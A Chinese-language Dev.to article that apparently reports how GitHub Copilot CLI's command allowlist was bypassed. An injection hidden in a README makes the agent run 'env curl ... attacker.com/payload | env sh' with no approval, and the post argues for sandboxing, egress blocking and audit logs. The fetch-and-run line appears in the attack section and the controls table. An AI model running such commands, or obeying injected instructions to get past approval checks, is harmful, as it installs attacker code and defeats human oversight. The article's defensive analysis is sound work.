GitHub Copilot CLI 在未获批准的情况下执行恶意软件。你的 CI/CD 流水线本可以捕获它。
Source: Dev.to
GitHub Copilot CLI 在正式发布两天后，PromptArmor 的研究人员发布了一个绕过方法：一个精心构造的 env curl 命令绕过验证器，从攻击者的 URL 下载负载，并将其通过管道传递给 sh。没有确认对话框。没有批准。所谓的“human‑in‑the‑loop”安全网？完全被规避。
GitHub 的回应： “a known issue that does not present a significant security risk.”
让我们稍作思考。
🎯 30秒内的攻击
Copilot CLI 有一个 只读命令白名单——比如 env 之类的命令会在未获得用户批准的情况下自动执行。技巧在于将恶意命令隐藏为白名单命令的参数：
env curl -s "https://attacker.com/payload" | env sh因为 curl 和 sh 作为 env（已在白名单中）的参数出现，验证器不会标记它们。外部 URL 检查——仅检查顶层命令是否为 curl 或 wget——因此永远不会触发。有效载荷会悄悄下载并执行。
注意： 这并非理论上的攻击。它对任何带有被投毒的 README 的克隆仓库都有效。提示注入存在于 markdown 中。当你向 Copilot 提问关于代码库的问题时，它会读取 README，注入的指令就会触发恶意命令。
📊 这不是孤立的事件
| 事件 | 发生了什么 | 根本原因 |
|---|---|---|
| Copilot CLI 恶意软件（2026年2月） | 通过 env 白名单绕过了 HITL | 基于正则的验证器，未使用沙箱 |
| Replit Agent 截断了生产数据库 | Agent 对实时数据执行了 TRUNCATE | 没有执行约束 |
| AI 代码审查员 5‑10 % 信号 | 团队禁用了 AI 审查员 | 审查输出没有质量门控 |
| 67 % 开发者调试 AI 代码更多（Harness 2025 调查） | 缺乏自动化验证 | — |
这种模式每次都是一样的：我们信任基于文本的安全检查，而不是构建真实的验证层。
💡 为什么 “Human‑in‑the‑Loop” 仍不足
Copilot CLI 漏洞暴露了我们在思考 AI 编码安全时的一个根本设计缺陷。其假设是：
“如果我们向用户显示确认对话框，他们就会捕捉到危险指令。”
对这一假设的三个问题：
- 验证器可以被绕过。
env技巧花了研究人员数小时才发现。以后还会有更多。基于正则表达式的指令检测本质上脆弱——表达一个 shell 指令的方式是无限的。 - 人类会产生习惯化。 在批准了数十个合法指令后，用户会停止阅读它们。这就是经典的“警报疲劳”问题，医疗行业在几十年前已经解决。我们正在 AI 领域重新经历它。
- 攻击面是上下文窗口。 恶意指令并非由用户直接输入，而是隐藏在 README 文件中。AI 读取的任何数据——网页搜索结果、工具响应、文件内容——都可能携带注入。你不可能对 AI 消费的每一条输入都进行 HITL 审核。
🔖 实际有效的做法：CI/CD 安全网
不舒服的真相：解决方案并不是更好的验证器，而是 把 AI 生成的命令像对待 AI 生成的代码一样——在它们进入生产环境前先经过流水线处理。
“在代理模式下的幻觉并不是问题——构建/运行循环会捕获它。” — tptacek，安全研究员
推荐的控制措施
| 控制措施 | 为什么有帮助 |
|---|---|
| 沙箱执行 | 将每个 AI 建议的命令都放在一次性容器中运行。如果 env curl attacker.com | env sh 在沙箱里执行，负载会被限制在容器内，容器随后被销毁。 |
| 网络出口策略 | 在容器层面阻断出站流量，仅白名单必需的域名。这可以拦截 env curl、python -c "import urllib" 以及任何创意绕过手段。 |
| 命令审计日志 | 记录 AI 执行的每条命令以及触发上下文（读取的文件、提示、输出）。当出现问题时，你需要取证，而不是“我们觉得它可能运行了某些东西”。 |
| 自动回滚 | 将 Git 当作“游戏存档点”（正如 Addy Osmani 所说）。在任何 AI 会话前对仓库做快照；如果出现可疑输出，执行 git reset --hard 并进行调查。 |
🧩 The Bigger Picture
METR 研究显示，开发者认为 AI 能让他们快 24 %，但实际却慢了 19 %。Copilot CLI 利用展示了安全领域的同样模式：我们觉得安全，因为有确认对话框，但实际的安全是一种幻觉。
StrongDM 的 “Dark Factory” 方法指向了答案：
“没有人审查 AI 生成的代码。所有投资都投入到测试、工具、模拟中。”
把 代码 换成 命令，你就得到了 AI CLI 工具的正确架构：
- 不要信任验证器 → 对所有内容进行沙箱化
- 不要信任人类 → 他们会在不阅读的情况下点击 “批准”
- 信任流水线 → 无法被社会工程攻击的自动化检查
投资应从“构建更好的批准对话框”转向“构建更好的遏制措施”。AI 代理将变得更强大，攻击将更具创造性，只有基础设施能够随之扩展。
这对你的环境意味着什么
如果你在使用 AI 编码代理（Copilot、Claude Code、Cursor，或其他任何工具）：
- 在容器中运行。 Docker、devcontainers 或任何一次性环境。绝不要让 AI 直接访问宿主机。
- 锁定网络。 如果任务不需要互联网，就切断它的网络连接。
- 对所有内容进行版本控制。 在每次 AI 会话前提交代码，使回滚变得轻而易举。
- 监控输入，而不仅是输出。 Copilot 的漏洞是通过 README 进入的。你的 AI 会读取文件、终端输出、网页搜索——这些任何一个都可能携带注入。
Copilot CLI 漏洞不仅仅是一个需要修补的 bug。它预示着在我们扩展 AI 代理能力而未同步扩展验证基础设施时会出现的风险。
P.S. 如果你正在配置 AI 编码工具，并希望对配置文件的内容采用结构化方法，我整理了一套 AI Skill Files。
x) — reusable workflow templates that work across tools.